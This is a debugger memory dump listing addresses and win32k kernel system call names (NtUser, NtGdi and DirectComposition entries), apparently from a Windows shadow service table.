8e1779d4  8e173552 win32k!NtUserRegisterTasklist

8e1779d8  8e17355e win32k!NtUserRegisterServicesProcess

8e1779dc  8e17356a win32k!NtUserRegisterRawInputDevices

8e1779e0  8e173576 win32k!NtUserRegisterHotKey

8e1779e4  8e173582 win32k!NtUserRegisterDManipHook

8e1779e8  8e17358e win32k!NtUserGetDManipHookInitFunction

8e1779ec  8e17359a win32k!NtUserRegisterManipulationThread

8e1779f0  8e1735a6 win32k!NtUserSetManipulationInputTarget

8e1779f4  8e1735b2 win32k!NtUserRegisterUserApiHook

8e1779f8  8e1735be win32k!NtUserRegisterErrorReportingDialog

8e1779fc  8e1735ca win32k!NtUserRegisterClassExWOW

8e177a00  8e1735d6 win32k!NtUserRegisterBSDRWindow

8e177a04  8e1735e2 win32k!NtUserRedrawWindow

8e177a08  8e1735ee win32k!NtUserUndelegateInput

8e177a0c  8e1735fa win32k!NtUserGetWindowMinimizeRect

8e177a10  8e173606 win32k!NtUserDwmStopRedirection

8e177a14  8e173612 win32k!NtUserDwmStartRedirection

8e177a18  8e17361e win32k!NtUserDwmGetRemoteSessionOcclusionEvent

8e177a1c  8e17362a win32k!NtUserDwmGetRemoteSessionOcclusionState

8e177a20  8e173636 win32k!NtUserUpdateWindowTransform

8e177a24  8e173642 win32k!NtUserCheckProcessSession

8e177a28  8e17364e win32k!NtUserUnregisterSessionPort

8e177a2c  8e17365a win32k!NtUserRegisterSessionPort

8e177a30  8e173666 win32k!NtUserCtxDisplayIOCtl

8e177a34  8e173672 win32k!NtUserRemoteStopScreenUpdates

8e177a38  8e17367e win32k!NtUserRemoteRedrawScreen

8e177a3c  8e17368a win32k!NtUserRemoteRedrawRectangle

8e177a40  8e173696 win32k!NtUserRemoteConnect

8e177a44  8e1736a2 win32k!NtUserWaitAvailableMessageEx

8e177a48  8e1736ae win32k!NtUserWindowFromPoint

8e177a4c  8e1736ba win32k!NtUserWindowFromPhysicalPoint

8e177a50  8e1736c6 win32k!NtUserWaitMessage

8e177a54  8e1736d2 win32k!NtUserWaitForMsgAndEvent

8e177a58  8e1736de win32k!NtUserWaitForInputIdle

8e177a5c  8e1736ea win32k!NtUserVkKeyScanEx

8e177a60  8e1736f6 win32k!NtUserValidateTimerCallback

8e177a64  8e173702 win32k!NtUserValidateRect

8e177a68  8e17370e win32k!NtUserValidateHandleSecure

8e177a6c  8e17371a win32k!NtUserUserHandleGrantAccess

8e177a70  8e173726 win32k!NtUserUpdatePerUserSystemParameters

8e177a74  8e173732 win32k!NtUserSetLayeredWindowAttributes

8e177a78  8e17373e win32k!NtUserGetLayeredWindowAttributes

8e177a7c  8e17374a win32k!NtUserUpdateLayeredWindow

8e177a80  8e173756 win32k!NtUserUpdateInstance

8e177a84  8e173762 win32k!NtUserUpdateInputContext

8e177a88  8e17376e win32k!NtUserUnregisterHotKey

8e177a8c  8e17377a win32k!NtUserUnregisterUserApiHook

8e177a90  8e173786 win32k!NtUserUnregisterClass

8e177a94  8e173792 win32k!NtUserUnlockWindowStation

8e177a98  8e17379e win32k!NtUserUnloadKeyboardLayout

8e177a9c  8e1737aa win32k!NtUserUnhookWinEvent

8e177aa0  8e1737b6 win32k!NtUserUnhookWindowsHookEx

8e177aa4  8e1737c2 win32k!NtUserGetTouchInputInfo

8e177aa8  8e1737ce win32k!NtUserIsTouchWindow

8e177aac  8e1737da win32k!NtUserModifyWindowTouchCapability

8e177ab0  8e1737e6 win32k!NtGdiEngStretchBltROP

8e177ab4  8e1737f2 win32k!NtGdiEngTextOut

8e177ab8  8e1737fe win32k!NtGdiEngTransparentBlt

8e177abc  8e17380a win32k!NtGdiEngGradientFill

8e177ac0  8e173816 win32k!NtGdiEngAlphaBlend

8e177ac4  8e173822 win32k!NtGdiEngLineTo

8e177ac8  8e17382e win32k!NtGdiEngPaint

8e177acc  8e17383a win32k!NtGdiEngStrokeAndFillPath

8e177ad0  8e173846 win32k!NtGdiEngFillPath

8e177ad4  8e173852 win32k!NtGdiEngStrokePath

8e177ad8  8e17385e win32k!NtGdiEngMarkBandingSurface

8e177adc  8e17386a win32k!NtGdiEngPlgBlt

8e177ae0  8e173876 win32k!NtGdiEngStretchBlt

8e177ae4  8e173882 win32k!NtGdiEngBitBlt

8e177ae8  8e17388e win32k!NtGdiEngLockSurface

8e177aec  8e17389a win32k!NtGdiEngUnlockSurface

8e177af0  8e1738a6 win32k!NtGdiEngEraseSurface

8e177af4  8e1738b2 win32k!NtGdiEngDeleteSurface

8e177af8  8e1738be win32k!NtGdiEngDeletePalette

8e177afc  8e1738ca win32k!NtGdiEngCopyBits

8e177b00  8e1738d6 win32k!NtGdiEngComputeGlyphSet

8e177b04  8e1738e2 win32k!NtGdiEngCreatePalette

8e177b08  8e1738ee win32k!NtGdiEngCreateDeviceBitmap

8e177b0c  8e1738fa win32k!NtGdiEngCreateDeviceSurface

8e177b10  8e173906 win32k!NtGdiEngCreateBitmap

8e177b14  8e173912 win32k!NtGdiEngAssociateSurface

8e177b18  8e17391e win32k!NtUserSetWindowFeedbackSetting

8e177b1c  8e17392a win32k!NtUserRegisterEdgy

8e177b20  8e173936 win32k!NtUserRegisterShellPTPListener

8e177b24  8e173942 win32k!NtUserGetWindowFeedbackSetting

8e177b28  8e17394e win32k!NtUserHidePointerContactVisualization

8e177b2c  8e17395a win32k!NtUserGetTouchValidationStatus

8e177b30  8e173966 win32k!NtUserInitializeTouchInjection

8e177b34  8e173972 win32k!NtUserInjectTouchInput

8e177b38  8e17397e win32k!NtUserRegisterTouchHitTestingWindow

8e177b3c  8e17398a win32k!NtUserSetDisplayMapping

8e177b40  8e173996 win32k!NtUserSetCalibrationData

8e177b44  8e1739a2 win32k!NtUserGetPhysicalDeviceRect

8e177b48  8e1739ae win32k!NtUserRegisterTouchPadCapable

8e177b4c  8e1739ba win32k!NtUserGetRawPointerDeviceData

8e177b50  8e1739c6 win32k!NtUserGetPointerDeviceCursors

8e177b54  8e1739d2 win32k!NtUserGetPointerDeviceRects

8e177b58  8e1739de win32k!NtUserRegisterPointerDeviceNotifications

8e177b5c  8e1739ea win32k!NtUserGetPointerDeviceProperties

8e177b60  8e1739f6 win32k!NtUserGetPointerDevice

8e177b64  8e173a02 win32k!NtUserGetPointerDevices

8e177b68  8e173a0e win32k!NtUserEnableTouchPad

8e177b6c  8e173a1a win32k!NtUserGetPrecisionTouchPadConfiguration

8e177b70  8e173a26 win32k!NtUserSetPrecisionTouchPadConfiguration

8e177b74  8e173a32 win32k!NtUserPromotePointer

8e177b78  8e173a3e win32k!NtUserDiscardPointerFrameMessages

8e177b7c  8e173a4a win32k!NtUserRegisterPointerInputTarget

8e177b80  8e173a56 win32k!NtUserGetPointerFrameArrivalTimes

8e177b84  8e173a62 win32k!NtUserGetPointerInputTransform

8e177b88  8e173a6e win32k!NtUserGetPointerInfoList

8e177b8c  8e173a7a win32k!NtUserGetPointerCursorId

8e177b90  8e173a86 win32k!NtUserGetPointerType

8e177b94  8e173a92 win32k!NtUserGetGestureConfig

8e177b98  8e173a9e win32k!NtUserSetGestureConfig

8e177b9c  8e173aaa win32k!NtUserGetGestureExtArgs

8e177ba0  8e173ab6 win32k!NtUserGetGestureInfo

8e177ba4  8e173ac2 win32k!NtUserInjectGesture

8e177ba8  8e173ace win32k!NtUserChangeWindowMessageFilterEx

8e177bac  8e173ada win32k!NtGdiXLATEOBJ_hGetColorTransform

8e177bb0  8e173ae6 win32k!NtGdiXLATEOBJ_iXlate

8e177bb4  8e173af2 win32k!NtGdiXLATEOBJ_cGetPalette

8e177bb8  8e173afe win32k!NtGdiEngDeleteClip

8e177bbc  8e173b0a win32k!NtGdiEngCreateClip

8e177bc0  8e173b16 win32k!NtGdiEngDeletePath

8e177bc4  8e173b22 win32k!NtGdiCLIPOBJ_ppoGetPath

8e177bc8  8e173b2e win32k!NtGdiCLIPOBJ_cEnumStart

8e177bcc  8e173b3a win32k!NtGdiCLIPOBJ_bEnum

8e177bd0  8e173b46 win32k!NtGdiBRUSHOBJ_hGetColorTransform

8e177bd4  8e173b52 win32k!NtGdiBRUSHOBJ_pvGetRbrush

8e177bd8  8e173b5e win32k!NtGdiBRUSHOBJ_pvAllocRbrush

8e177bdc  8e173b6a win32k!NtGdiBRUSHOBJ_ulGetBrushColor

8e177be0  8e173b76 win32k!NtGdiXFORMOBJ_iGetXform

8e177be4  8e173b82 win32k!NtGdiXFORMOBJ_bApplyXform

8e177be8  8e173b8e win32k!NtGdiFONTOBJ_pQueryGlyphAttrs

8e177bec  8e173b9a win32k!NtGdiFONTOBJ_pfdg

8e177bf0  8e173ba6 win32k!NtGdiFONTOBJ_pifi

8e177bf4  8e173bb2 win32k!NtGdiFONTOBJ_cGetGlyphs

8e177bf8  8e173bbe win32k!NtGdiFONTOBJ_pxoGetXform

8e177bfc  8e173bca win32k!NtGdiFONTOBJ_vGetInfo

8e177c00  8e173bd6 win32k!NtGdiFONTOBJ_cGetAllGlyphHandles

8e177c04  8e173be2 win32k!NtGdiFONTOBJ_pvTrueTypeFontFile

8e177c08  8e173bee win32k!NtGdiSTROBJ_dwGetCodePage

8e177c0c  8e173bfa win32k!NtGdiSTROBJ_vEnumStart

8e177c10  8e173c06 win32k!NtGdiSTROBJ_bGetAdvanceWidths

8e177c14  8e173c12 win32k!NtGdiSTROBJ_bEnumPositionsOnly

8e177c18  8e173c1e win32k!NtGdiSTROBJ_bEnum

8e177c1c  8e173c2a win32k!NtGdiPATHOBJ_bEnumClipLines

8e177c20  8e173c36 win32k!NtGdiPATHOBJ_vEnumStartClipLines

8e177c24  8e173c42 win32k!NtGdiPATHOBJ_vEnumStart

8e177c28  8e173c4e win32k!NtGdiPATHOBJ_bEnum

8e177c2c  8e173c5a win32k!NtGdiPATHOBJ_vGetBounds

8e177c30  8e173c66 win32k!NtGdiEngCheckAbort

8e177c34  8e173c72 win32k!NtGdiGetDhpdev

8e177c38  8e173c7e win32k!NtGdiHT_Get8BPPMaskPalette

8e177c3c  8e173c8a win32k!NtGdiHT_Get8BPPFormatPalette

8e177c40  8e173c96 win32k!NtGdiUpdateTransform

8e177c44  8e173ca2 win32k!NtGdiUMPDEngFreeUserMem

8e177c48  8e173cae win32k!NtGdiBRUSHOBJ_DeleteRbrush

8e177c4c  8e173cba win32k!NtGdiSetPUMPDOBJ

8e177c50  8e173cc6 win32k!NtGdiSetUMPDSandboxState

8e177c54  8e173cd2 win32k!NtGdiDrawStream

8e177c58  8e173cde win32k!NtGdiHLSurfSetInformation

8e177c5c  8e173cea win32k!NtGdiHLSurfGetInformation

8e177c60  8e173cf6 win32k!NtGdiDwmCreatedBitmapRemotingOutput

8e177c64  8e173d02 win32k!NtGdiDdDDIGetScanLine

8e177c68  8e173d0e win32k!NtGdiDdDDIReleaseProcessVidPnSourceOwners

8e177c6c  8e173d1a win32k!NtGdiDdDDIGetProcessSchedulingPriorityClass

8e177c70  8e173d26 win32k!NtGdiDdDDISetProcessSchedulingPriorityClass

8e177c74  8e173d32 win32k!NtGdiDdDDIGetContextSchedulingPriority

8e177c78  8e173d3e win32k!NtGdiDdDDISetContextSchedulingPriority

8e177c7c  8e173d4a win32k!NtGdiDdDDIDestroyDCFromMemory

8e177c80  8e173d56 win32k!NtGdiDdDDICreateDCFromMemory

8e177c84  8e173d62 win32k!NtGdiDdDDIGetDeviceState

8e177c88  8e173d6e win32k!NtGdiDdDDISetGammaRamp

8e177c8c  8e173d7a win32k!NtGdiDdDDIWaitForVerticalBlankEvent

8e177c90  8e173d86 win32k!NtGdiDdDDIDestroyOverlay

8e177c94  8e173d92 win32k!NtGdiDdDDIFlipOverlay

8e177c98  8e173d9e win32k!NtGdiDdDDIUpdateOverlay

8e177c9c  8e173daa win32k!NtGdiDdDDICreateOverlay

8e177ca0  8e173db6 win32k!NtGdiDdDDIGetPresentQueueEvent

8e177ca4  8e173dc2 win32k!NtGdiDdDDIGetPresentHistory

8e177ca8  8e173dce win32k!NtGdiDdDDISetVidPnSourceOwner1

8e177cac  8e173dda win32k!NtGdiDdDDISetVidPnSourceOwner

8e177cb0  8e173de6 win32k!NtGdiDdDDIQueryStatistics

8e177cb4  8e173df2 win32k!NtGdiDdDDIEscape

8e177cb8  8e173dfe win32k!NtGdiDdDDIGetSharedPrimaryHandle

8e177cbc  8e173e0a win32k!NtGdiDdDDICloseAdapter

8e177cc0  8e173e16 win32k!NtGdiDdDDIOpenAdapterFromLuid

8e177cc4  8e173e22 win32k!NtGdiDdDDIEnumAdapters

8e177cc8  8e173e2e win32k!NtGdiDdDDIEnumAdapters2

8e177ccc  8e173e3a win32k!NtGdiDdDDIOpenAdapterFromHdc

8e177cd0  8e173e46 win32k!NtGdiDdDDIOpenAdapterFromDeviceName

8e177cd4  8e173e52 win32k!NtGdiDdDDIRender

8e177cd8  8e173e5e win32k!NtGdiDdDDIPresent

8e177cdc  8e173e6a win32k!NtGdiDdDDIGetMultisampleMethodList

8e177ce0  8e173e76 win32k!NtGdiDdDDISetDisplayMode

8e177ce4  8e173e82 win32k!NtGdiDdDDIGetDisplayModeList

8e177ce8  8e173e8e win32k!NtGdiDdDDIUnlock

8e177cec  8e173e9a win32k!NtGdiDdDDILock

8e177cf0  8e173ea6 win32k!NtGdiDdDDIQueryAdapterInfo

8e177cf4  8e173eb2 win32k!NtGdiDdDDIGetRuntimeData

8e177cf8  8e173ebe win32k!NtGdiDdDDISignalSynchronizationObject

8e177cfc  8e173eca win32k!NtGdiDdDDIWaitForSynchronizationObject

8e177d00  8e173ed6 win32k!NtGdiDdDDIDestroySynchronizationObject

8e177d04  8e173ee2 win32k!NtGdiDdDDIOpenSynchronizationObject

8e177d08  8e173eee win32k!NtGdiDdDDICreateSynchronizationObject

8e177d0c  8e173efa win32k!NtGdiDdDDIDestroyContext

8e177d10  8e173f06 win32k!NtGdiDdDDICreateContext

8e177d14  8e173f12 win32k!NtGdiDdDDIDestroyDevice

8e177d18  8e173f1e win32k!NtGdiDdDDICreateDevice

8e177d1c  8e173f2a win32k!NtGdiDdDDIQueryAllocationResidency

8e177d20  8e173f36 win32k!NtGdiDdDDISetAllocationPriority

8e177d24  8e173f42 win32k!NtGdiDdDDIDestroyAllocation

8e177d28  8e173f4e win32k!NtGdiDdDDIDestroyAllocation2

8e177d2c  8e173f5a win32k!NtGdiDdDDIOpenResourceFromNtHandle

8e177d30  8e173f66 win32k!NtGdiDdDDIOpenSyncObjectFromNtHandle

8e177d34  8e173f72 win32k!NtGdiDdDDIOpenSyncObjectFromNtHandle2

8e177d38  8e173f7e win32k!NtGdiDdDDIOpenResource

8e177d3c  8e173f8a win32k!NtGdiDdDDIOpenNtHandleFromName

8e177d40  8e173f96 win32k!NtGdiDdDDIOpenSyncObjectNtHandleFromName

8e177d44  8e173fa2 win32k!NtGdiDdDDIShareObjects

8e177d48  8e173fae win32k!NtGdiDdDDIQueryResourceInfoFromNtHandle

8e177d4c  8e173fba win32k!NtGdiDdDDIQueryResourceInfo

8e177d50  8e173fc6 win32k!NtGdiDdDDICreateAllocation

8e177d54  8e173fd2 win32k!NtGdiDdDDIOutputDuplReleaseFrame

8e177d58  8e173fde win32k!NtGdiDdDDIQueryRemoteVidPnSourceFromGdiDisplayName

8e177d5c  8e173fea win32k!NtGdiDdDDIOutputDuplPresent

8e177d60  8e173ff6 win32k!NtGdiDdDDIReleaseKeyedMutex2

8e177d64  8e174002 win32k!NtGdiDdDDIAcquireKeyedMutex2

8e177d68  8e17400e win32k!NtGdiDdDDIOpenKeyedMutex2

8e177d6c  8e17401a win32k!NtGdiDdDDICreateKeyedMutex2

8e177d70  8e174026 win32k!NtGdiDdDDIOutputDuplGetPointerShapeData

8e177d74  8e174032 win32k!NtGdiDdDDIOutputDuplGetMetaData

8e177d78  8e17403e win32k!NtGdiDdDDIOutputDuplGetFrameInfo

8e177d7c  8e17404a win32k!NtGdiDdDDIDestroyOutputDupl

8e177d80  8e174056 win32k!NtGdiDdDDICreateOutputDupl

8e177d84  8e174062 win32k!NtGdiDdDDIReclaimAllocations

8e177d88  8e17406e win32k!NtGdiDdDDIOfferAllocations

8e177d8c  8e17407a win32k!NtGdiDdDDICheckSharedResourceAccess

8e177d90  8e174086 win32k!NtGdiDdDDICheckVidPnExclusiveOwnership

8e177d94  8e174092 win32k!NtGdiDdDDIGetOverlayState

8e177d98  8e17409e win32k!NtGdiDdDDIConfigureSharedResource

8e177d9c  8e1740aa win32k!NtGdiDdDDIReleaseKeyedMutex

8e177da0  8e1740b6 win32k!NtGdiDdDDIAcquireKeyedMutex

8e177da4  8e1740c2 win32k!NtGdiDdDDIDestroyKeyedMutex

8e177da8  8e1740ce win32k!NtGdiDdDDIOpenKeyedMutex

8e177dac  8e1740da win32k!NtGdiDdDDICreateKeyedMutex

8e177db0  8e1740e6 win32k!NtGdiDdDDISharedPrimaryUnLockNotification

8e177db4  8e1740f2 win32k!NtGdiDdDDISharedPrimaryLockNotification

8e177db8  8e1740fe win32k!NtGdiDdDDISetDisplayPrivateDriverFormat

8e177dbc  8e17410a win32k!NtGdiDdDDICheckExclusiveOwnership

8e177dc0  8e174116 win32k!NtGdiDdDDICheckMonitorPowerState

8e177dc4  8e174122 win32k!NtGdiDdDDIWaitForIdle

8e177dc8  8e17412e win32k!NtGdiDdDDICheckOcclusion

8e177dcc  8e17413a win32k!NtGdiDdDDIInvalidateActiveVidPn

8e177dd0  8e174146 win32k!NtGdiDdDDIPollDisplayChildren

8e177dd4  8e174152 win32k!NtGdiDdDDISetQueuedLimit

8e177dd8  8e17415e win32k!NtGdiDdDDIPinDirectFlipResources

8e177ddc  8e17416a win32k!NtGdiDdDDIUnpinDirectFlipResources

8e177de0  8e174176 win32k!NtGdiDdDDIWaitForVerticalBlankEvent2

8e177de4  8e174182 win32k!NtGdiDdDDIGetDWMVerticalBlankEvent

8e177de8  8e17418e win32k!NtGdiDdDDISetSyncRefreshCountWaitTarget

8e177dec  8e17419a win32k!NtGdiDdDDISetContextInProcessSchedulingPriority

8e177df0  8e1741a6 win32k!NtGdiDdDDIGetContextInProcessSchedulingPriority

8e177df4  8e1741b2 win32k!NtGdiDdDDIGetSharedResourceAdapterLuid

8e177df8  8e1741be win32k!NtGdiDdDDISetStereoEnabled

8e177dfc  8e1741ca win32k!NtGdiDdDDIPresentMultiPlaneOverlay

8e177e00  8e1741d6 win32k!NtGdiDdDDICheckMultiPlaneOverlaySupport

8e177e04  8e1741e2 win32k!NtGdiDdDDIMakeResident

8e177e08  8e1741ee win32k!NtGdiDdDDIEvict

8e177e0c  8e1741fa win32k!NtGdiDdDDIWaitForSynchronizationObjectFromCpu

8e177e10  8e174206 win32k!NtGdiDdDDISignalSynchronizationObjectFromCpu

8e177e14  8e174212 win32k!NtGdiDdDDIWaitForSynchronizationObjectFromGpu

8e177e18  8e17421e win32k!NtGdiDdDDISignalSynchronizationObjectFromGpu

8e177e1c  8e17422a win32k!NtGdiDdDDISignalSynchronizationObjectFromGpu2

8e177e20  8e174236 win32k!NtGdiDdDDICreatePagingQueue

8e177e24  8e174242 win32k!NtGdiDdDDIDestroyPagingQueue

8e177e28  8e17424e win32k!NtGdiDdDDILock2

8e177e2c  8e17425a win32k!NtGdiDdDDIUnlock2

8e177e30  8e174266 win32k!NtGdiDdDDIInvalidateCache

8e177e34  8e174272 win32k!NtGdiDdDDIMapGpuVirtualAddress

8e177e38  8e17427e win32k!NtGdiDdDDIReserveGpuVirtualAddress

8e177e3c  8e17428a win32k!NtGdiDdDDIFreeGpuVirtualAddress

8e177e40  8e174296 win32k!NtGdiDdDDIUpdateGpuVirtualAddress

8e177e44  8e1742a2 win32k!NtGdiDdDDICreateContextVirtual

8e177e48  8e1742ae win32k!NtGdiDdDDISubmitCommand

8e177e4c  8e1742ba win32k!NtGdiDdDDIGetCachedHybridQueryValue

8e177e50  8e1742c6 win32k!NtGdiDdDDICacheHybridQueryValue

8e177e54  8e1742d2 win32k!NtGdiDdDDINetDispGetNextChunkInfo

8e177e58  8e1742de win32k!NtGdiDdDDINetDispQueryMiracastDisplayDeviceSupport

8e177e5c  8e1742ea win32k!NtGdiDdDDINetDispStartMiracastDisplayDevice

8e177e60  8e1742f6 win32k!NtGdiDdDDINetDispStopMiracastDisplayDevice

8e177e64  8e174302 win32k!NtGdiDdDDINetDispQueryMiracastDisplayDeviceStatus

8e177e68  8e17430e win32k!NtGdiDdDDINetDispStopSessions

8e177e6c  8e17431a win32k!NtGdiDdDDIQueryVideoMemoryInfo

8e177e70  8e174326 win32k!NtGdiDdDDIChangeVideoMemoryReservation

8e177e74  8e174332 win32k!NtGdiDdDDICreateSwapChain

8e177e78  8e17433e win32k!NtGdiDdDDIOpenSwapChain

8e177e7c  8e17434a win32k!NtGdiDdDDIGetSwapChainMetadata

8e177e80  8e174356 win32k!NtGdiDdDDIAcquireSwapChain

8e177e84  8e174362 win32k!NtGdiDdDDIReleaseSwapChain

8e177e88  8e17436e win32k!NtGdiDdDDIAbandonSwapChain

8e177e8c  8e17437a win32k!NtGdiDdDDISetDodIndirectSwapchain

8e177e90  8e174386 win32k!NtGdiDdDDICheckMultiPlaneOverlaySupport2

8e177e94  8e174392 win32k!NtGdiDdDDIPresentMultiPlaneOverlay2

8e177e98  8e17439e win32k!NtGdiDdDDIReclaimAllocations2

8e177e9c  8e1743aa win32k!NtGdiMakeObjectUnXferable

8e177ea0  8e1743b6 win32k!NtGdiMakeObjectXferable

8e177ea4  8e1743c2 win32k!NtGdiDestroyPhysicalMonitor

8e177ea8  8e1743ce win32k!NtGdiGetPhysicalMonitorDescription

8e177eac  8e1743da win32k!NtGdiGetPhysicalMonitors

8e177eb0  8e1743e6 win32k!NtGdiGetNumberOfPhysicalMonitors

8e177eb4  8e1743f2 win32k!NtGdiDDCCIGetTimingReport

8e177eb8  8e1743fe win32k!NtGdiDDCCIGetCapabilitiesString

8e177ebc  8e17440a win32k!NtGdiDDCCIGetCapabilitiesStringLength

8e177ec0  8e174416 win32k!NtGdiDDCCISaveCurrentSettings

8e177ec4  8e174422 win32k!NtGdiDDCCISetVCPFeature

8e177ec8  8e17442e win32k!NtGdiDDCCIGetVCPFeature

8e177ecc  8e17443a win32k!NtGdiDdQueryVisRgnUniqueness

8e177ed0  8e174446 win32k!NtGdiDdDestroyFullscreenSprite

8e177ed4  8e174452 win32k!NtGdiDdNotifyFullscreenSpriteUpdate

8e177ed8  8e17445e win32k!NtGdiDdCreateFullscreenSprite

8e177edc  8e17446a win32k!NtUserShowSystemCursor

8e177ee0  8e174476 win32k!NtUserSetMirrorRendering

8e177ee4  8e174482 win32k!NtUserMagGetContextInformation

8e177ee8  8e17448e win32k!NtUserMagSetContextInformation

8e177eec  8e17449a win32k!NtUserMagControl

8e177ef0  8e1744a6 win32k!NtUserSlicerControl

8e177ef4  8e1744b2 win32k!NtUserHwndSetRedirectionInfo

8e177ef8  8e1744be win32k!NtUserHwndQueryRedirectionInfo

8e177efc  8e1744ca win32k!NtCreateCompositionSurfaceHandle

8e177f00  8e1744d6 win32k!NtValidateCompositionSurfaceHandle

8e177f04  8e1744e2 win32k!NtBindCompositionSurface

8e177f08  8e1744ee win32k!NtUnBindCompositionSurface

8e177f0c  8e1744fa win32k!NtQueryCompositionSurfaceBinding

8e177f10  8e174506 win32k!NtNotifyPresentToCompositionSurface

8e177f14  8e174512 win32k!NtQueryCompositionSurfaceStatistics

8e177f18  8e17451e win32k!NtOpenCompositionSurfaceSectionInfo

8e177f1c  8e17452a win32k!NtOpenCompositionSurfaceSwapChainHandleInfo

8e177f20  8e174536 win32k!NtQueryCompositionSurfaceRenderingRealization

8e177f24  8e174542 win32k!NtOpenCompositionSurfaceDirtyRegion

8e177f28  8e17454e win32k!NtSetCompositionSurfaceOutOfFrameDirectFlipNotification

8e177f2c  8e17455a win32k!NtSetCompositionSurfaceStatistics

8e177f30  8e174566 win32k!NtSetCompositionSurfaceBufferCompositionMode

8e177f34  8e174572 win32k!NtSetCompositionSurfaceIndependentFlipInfo

8e177f38  8e17457e win32k!NtCreateCompositionInputSink

8e177f3c  8e17458a win32k!NtDuplicateCompositionInputSink

8e177f40  8e174596 win32k!NtQueryCompositionInputSink

8e177f44  8e1745a2 win32k!NtQueryCompositionInputSinkLuid

8e177f48  8e1745ae win32k!NtUpdateInputSinkTransforms

8e177f4c  8e1745ba win32k!NtCompositionInputThread

8e177f50  8e1745c6 win32k!NtQueryCompositionInputQueueAndTransform

8e177f54  8e1745d2 win32k!NtTokenManagerOpenSectionAndEvents

8e177f58  8e1745de win32k!NtTokenManagerThread

8e177f5c  8e1745ea win32k!NtTokenManagerGetOutOfFrameDirectFlipSurfaceUpdates

8e177f60  8e1745f6 win32k!NtTokenManagerDeleteOutstandingDirectFlipTokens

8e177f64  8e174602 win32k!NtTokenManagerCreateCompositionTokenHandle

8e177f68  8e17460e win32k!NtDCompositionBeginFrame

8e177f6c  8e17461a win32k!NtDCompositionConfirmFrame

8e177f70  8e174626 win32k!NtDCompositionRetireFrame

8e177f74  8e174632 win32k!NtDCompositionDiscardFrame

8e177f78  8e17463e win32k!NtDCompositionGetFrameSurfaceUpdates

8e177f7c  8e17464a win32k!NtDCompositionGetFrameLegacyTokens

8e177f80  8e174656 win32k!NtDCompositionDestroyConnection

8e177f84  8e174662 win32k!NtDCompositionGetConnectionBatch

8e177f88  8e17466e win32k!NtDCompositionGetFrameStatistics

8e177f8c  8e17467a win32k!NtDCompositionGetDeletedResources

8e177f90  8e174686 win32k!NtDCompositionSetResourceDeletedNotificationTag

8e177f94  8e174692 win32k!NtDCompositionCreateConnection

8e177f98  8e17469e win32k!NtDCompositionDestroyChannel

8e177f9c  8e1746aa win32k!NtDCompositionReleaseAllResources

8e177fa0  8e1746b6 win32k!NtDCompositionSubmitDWMBatch

8e177fa4  8e1746c2 win32k!NtDCompositionCommitChannel

8e177fa8  8e1746ce win32k!NtDCompositionWaitForChannel

8e177fac  8e1746da win32k!NtDCompositionSetChannelCommitCompletionEvent

8e177fb0  8e1746e6 win32k!NtDCompositionTelemetryTouchInteractionBegin

8e177fb4  8e1746f2 win32k!NtDCompositionTelemetryTouchInteractionUpdate

8e177fb8  8e1746fe win32k!NtDCompositionTelemetryTouchInteractionEnd

8e177fbc  8e17470a win32k!NtDCompositionTelemetrySetApplicationId

8e177fc0  8e174716 win32k!NtDCompositionTelemetryAnimationScenarioBegin

8e177fc4  8e174722 win32k!NtDCompositionTelemetryAnimationScenarioReference

8e177fc8  8e17472e win32k!NtDCompositionTelemetryAnimationScenarioUnreference

8e177fcc  8e17473a win32k!NtDCompositionCurrentBatchId

8e177fd0  8e174746 win32k!NtDCompositionReleaseResource

8e177fd4  8e174752 win32k!NtDCompositionRemoveCrossDeviceVisualChild

8e177fd8  8e17475e win32k!NtDCompositionRemoveVisualChild

8e177fdc  8e17476a win32k!NtDCompositionAddCrossDeviceVisualChild

8e177fe0  8e174776 win32k!NtDCompositionAddVisualChild

8e177fe4  8e174782 win32k!NtDCompositionReplaceVisualChildren

8e177fe8  8e17478e win32k!NtDCompositionSetResourceAnimationProperty

8e177fec  8e17479a win32k!NtDCompositionSetResourceReferenceArrayProperty

8e177ff0  8e1747a6 win32k!NtDCompositionSetResourceReferenceProperty

8e177ff4  8e1747b2 win32k!NtDCompositionSetResourceBufferProperty

8e177ff8  8e1747be win32k!NtDCompositionSetResourceIntegerProperty

8e177ffc  8e1747ca win32k!NtDCompositionSetResourceFloatProperty

8e178000  8e1747d6 win32k!NtDCompositionSetResourceHandleProperty

8e178004  8e1747e2 win32k!NtDCompositionCreateResource

8e178008  8e1747ee win32k!NtDCompositionOpenSharedResource

8e17800c  8e1747fa win32k!NtDCompositionOpenSharedResourceHandle

8e178010  8e174806 win32k!NtDCompositionCreateDwmChannel

8e178014  8e174812 win32k!NtDCompositionCreateChannel

8e178018  8e17481e win32k!NtDCompositionSynchronize

8e17801c  8e17482a win32k!NtDCompositionDwmSyncFlush

8e178020  8e174836 win32k!NtDCompositionReferenceSharedResourceOnDwmChannel

8e178024  8e174842 win32k!NtDCompositionSignalGpuFence

8e178028  8e17484e win32k!NtDCompositionCreateAndBindSharedSection

8e17802c  8e17485a win32k!NtDCompositionSetDebugCounter

8e178030  8e174866 win32k!NtDCompositionGetChannels

8e178034  8e174872 win32k!NtDCompositionConnectPipe

8e178038  8e17487e win32k!NtDCompositionRegisterThumbnailVisual

8e17803c  8e17488a win32k!NtDCompositionRegisterVirtualDesktopVisual

8e178040  8e174896 win32k!NtDCompositionDuplicateHandleToProcess

8e178044  8e1748a2 win32k!NtDCompositionSetVisualInputSink

8e178048  8e1748ae win32k!NtDCompositionSetMessageKey

8e17804c  8e1748ba win32k!NtDCompositionGetAnimationTime

8e178050  8e1748c6 win32k!NtUserDestroyDCompositionHwndTarget

8e178054  8e1748d2 win32k!NtUserCreateDCompositionHwndTarget

8e178058  8e1748de win32k!NtUserWaitForRedirectionStartComplete

8e17805c  8e1748ea win32k!NtUserSignalRedirectionStartComplete

8e178060  8e1748f6 win32k!NtUserSetActiveProcessForMonitor

8e178064  8e174902 win32k!NtUserGetDisplayAutoRotationPreferencesByProcessId

8e178068  8e17490e win32k!NtUserGetDisplayAutoRotationPreferences

8e17806c  8e17491a win32k!NtUserSetDisplayAutoRotationPreferences

8e178070  8e174926 win32k!NtUserSetAutoRotation

8e178074  8e174932 win32k!NtUserGetAutoRotationState

8e178078  8e17493e win32k!NtUserAutoRotateScreen

8e17807c  8e17494a win32k!NtUserAcquireIAMKey

8e178080  8e174956 win32k!NtUserSetActivationFilter

8e178084  8e174962 win32k!NtUserSetFallbackForeground

8e178088  8e17496e win32k!NtUserSetBrokeredForeground

8e17808c  8e17497a win32k!NtUserDisableImmersiveOwner

8e178090  8e174986 win32k!NtUserClearForeground

